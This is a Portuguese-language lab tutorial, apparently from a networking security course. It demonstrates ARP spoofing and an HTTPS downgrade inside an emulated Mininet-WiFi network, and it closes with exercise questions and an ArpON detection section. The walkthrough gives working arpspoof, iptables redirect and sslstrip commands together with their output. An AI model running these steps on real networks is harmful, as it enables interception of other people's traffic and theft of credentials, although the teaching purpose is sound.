---
tags: security-tutorials
---
# ARP Spoofing + Downgrade de Protocolo
:::info
**In this short demo you will:**
- Learn on How to perform ARP Spoofing attack and how to perform protocol downgrade
**Requirements:**
- Mininet-WiFi - https://github.com/intrig-unicamp/mininet-wifi
- dsniff
- arpon
- sslstrip
- curl
:::
Antes de tudo você precisa identificar a topologia de rede que será gerada através do código abaixo:
```python=
#!/usr/bin/python
'''@author: Ramon Fontes
@email: ramon.fontes@imd.ufrn.br'''
from mininet.log import setLogLevel, info
from mn_wifi.node import OVSKernelAP
from mn_wifi.link import wmediumd
from mn_wifi.cli import CLI
from mn_wifi.net import Mininet_wifi
def topology():
"Create a network."
net = Mininet_wifi()
info("*** Creating nodes\n")
ap1 = net.addAccessPoint('ap1', ssid='new-ssid', mode='g',
channel='1', position='10,10,0',
failMode="standalone")
sta1 = net.addStation('sta1', position='10,20,0')
sta2 = net.addStation('sta2', position='10,30,0')
info("*** Configuring wifi nodes\n")
net.configureWifiNodes()
info("*** Starting network\n")
net.build()
net.addNAT().configDefault()
ap1.start([])
sta2.cmd('echo 1 > /proc/sys/net/ipv4/ip_forward')
info("*** Running CLI\n")
CLI(net)
info("*** Stopping network\n")
net.stop()
if __name__ == '__main__':
setLogLevel('info')
topology()
```
Neste tutorial, vamos simular os passos ilustrados na figura de forma a mostrar na prática como ocorre o ataque de ARP Spoofing. Para tanto, vamos considerar executar o script acima.
Considerando que o nome do arquivo seja `arp.py` você deve executá-lo da seguinte forma:
```
sudo python arp.py
```
Em seguida, faremos uma tentativa de ping a partir de `sta1` para o endereço 8.8.8.8.
```
mininet-wifi> sta1 ping -c1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=118 time=68.8 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 68.893/68.893/68.893/0.000 ms
```
Como é possível perceber o ping foi realizado com sucesso. Agora, vamos verificar a tabela ARP de `sta1`. Na tabela deverá constar o endereço IP e também o endereço MAC do gateway padrão de `sta1`.
```
mininet-wifi> sta1 arp -a
_gateway (10.0.0.3) at 0a:1e:54:0e:66:96 [ether] on sta1-wlan0
```
Então, vamos simular o ataque de ARP Spoofing e fazer com que `sta1` entenda que o seu gateway na verdade é `sta2`. Primeiro, abra 2 (dois) terminais para `sta2`.
```
mininet-wifi> xterm sta2 sta2
```
Então, no terminal de `sta2` execute o arpspoof, conforme abaixo.
```
sta2# arpspoof -i sta2-wlan0 -t 10.0.0.1 10.0.0.3
```
O comando acima induz 10.0.0.1, que é a vítima, a entender que 10.0.0.2, ou seja, `sta2`, representa o endereço do gateway padrão.
Então, após alguns segundos verificamos novamente a tabela ARP de `sta1`.
```
mininet-wifi> sta1 arp -a
_gateway (10.0.0.3) at 02:00:00:00:01:00 [ether] on sta1-wlan0
? (10.0.0.2) at 02:00:00:00:01:00 [ether] on sta1-wlan0
```
Aqui, já podemos notar que o endereço MAC do gateway padrão já não é mais o mesmo do identificado anteriormente.
Agora, realizamos um novo ping de `sta1` para o endereço público 8.8.8.8, ao mesmo tempo em que utilizamos o tcpdump no outro terminal de `sta2` para verificar se `sta2` está recebendo todo tráfego enviado gratuitamente pela vítima.
```
sta2# tcpdump -i sta2-wlan0
20:30:34.970402 IP 10.0.0.1 > alpha-Inspiron: ICMP echo request, id 12251,seq 8, length 64
20:30:34.971552 IP alpha-Inspiron > 10.0.0.1: ICMP echo reply, id 12251, seq 8, length 64
20:30:35.430387 ARP, Reply _gateway is-at 02:00:00:00:01:00 (oui Unknown), length 28
20:30:35.972565 IP 10.0.0.1 > alpha-Inspiron: ICMP echo request, id 12251,seq 9, length 64
20:30:35.973722 IP alpha-Inspiron > 10.0.0.1: ICMP echo reply, id 12251, seq 9, length 64
20:30:36.973743 IP 10.0.0.1 > alpha-Inspiron: ICMP echo request, id 12251, seq 10, length 64
20:30:36.974884 IP alpha-Inspiron > 10.0.0.1: ICMP echo reply, id 12251, seq 10, length 64
```
```
mininet-wifi> sta1 ping -c10 8.8.8.8
```
Após alguns pacotes enviados por `sta1` é possível notar que `sta2` passou a receber os pacotes enviados por `sta1`, pois `sta1` passou a entender que `sta2` seria o verdadeiro gateway padrão. A partir deste momento, `sta2`, o atacante, pode inclusive utilizar de simples ferramentas como `sslstrip` para realizar ataques em cima do protocolo HTTPS (Hyper Text Transfer Protocol Secure) via downgrade de protocolo.
Para interceptar o tráfego não criptografado, é necessário fazer o downgrade da conexão da vítima de HTTPS para HTTP. Isso é possível através do `sslstrip`. Primeiro, é necessário redirecionar o tráfego de saída na porta 80 para 8080 e, em seguida, iniciar o `sslstrip` na porta 8080.
```
mininet-wifi> xterm sta2
```
Já no terminal aberto de `sta2` digite:
```
sta2# iptables -t nat -p tcp -A PREROUTING --destination-port 80 -j REDIRECT --to-port 8080
```
E depois:
```
sta2# sslstrip -l 8080
sslstrip 0.9 by Moxie Marlinspike running...
```
Na máquina da vítima, use o `curl` para enviar uma solicitação GET para http://globo.com.
::: success
Caso obter algum erro na etapa abaixo, tente realizar um ping para globo.com a partir de sta1. Se não houver êxito no ping adicione entrada de servidor DNS em /etc/resolv.conf também a partir de sta1.
:::
```
mininet-wifi> sta1 curl -vvv http://globo.com
* Trying 186.192.90.12:80...
* TCP_NODELAY set
* Connected to globo.com (186.192.90.12) port 80 (#0)
> GET / HTTP/1.1
> Host: globo.com
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 301 Moved Permanently
< Date: Wed, 03 Mar 2021 00:03:21 GMT
< Content-Type: text/html
< Content-Length: 178
< Connection: keep-alive
< Cache-Control: max-age=600
< Location: http://www.globo.com/
<
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
* Connection #0 to host globo.com left intact
```
Como é possível notar, a solicitação foi redirecionada para http://www.globo.com/. Outro GET nesta nova URL irá retornar o conteúdo da página não criptografado. No diretório onde você executou o sslstrip você poderá observar um arquivo chamado de sslstrip.log. Este arquivo possui todas as informações capturadas pelo sslstrip.
O ataque agora está completo: podemos visualizar o tráfego não criptografado entre a vítima e o site vulnerável usando HTTPS.
:::info
1. :question: Comente sobre o ataque de downgrade de protocolo. Diga como ele funciona.
2. :question: O que seria o HTTP Strict Transport Security (HSTS) e como ele seria útil no cenário prático realizado acima?
3. :question: Anexe duas imagens do wireshark onde, do lado do atacante, mostre requisições de tráfego criptografado e também requisições de tráfego descriptografado.
:::
## Como evitar o ARP Spoofing
O ataque de ARP Spoofing pode ser evitado com o uso de ferramentas como ARP handler inspection (ArpON). Por exemplo, você pode executar o ArpON a partir de `sta1`, conforme abaixo:
```
mininet-wifi> xterm sta1
arpon -D -i sta1-wlan0
```
Caso houver um ataque em execução será possível observá-lo após executar o arpon, conforme ilustrado abaixo:
```
arpon -D -i sta1-wlan0
Oct 30 10:01:41 [INFO] Start DARPI on sta1-wlan0
Oct 30 10:01:41 [INFO] CLEAN, 10.0.0.3 was at 52:1e:e8:62:58:11 on sta1-wlan0
Oct 30 10:01:53 [INFO] DENY, 10.0.0.3 was at 2:0:0:0:1:0 on sta1-wlan0
Oct 30 10:01:53 [INFO] ALLOW, 10.0.0.3 is at 52:1e:e8:62:58:11 on sta1-wlan0
Oct 30 10:01:55 [INFO] DENY, 10.0.0.3 was at 2:0:0:0:1:0 on sta1-wlan0
```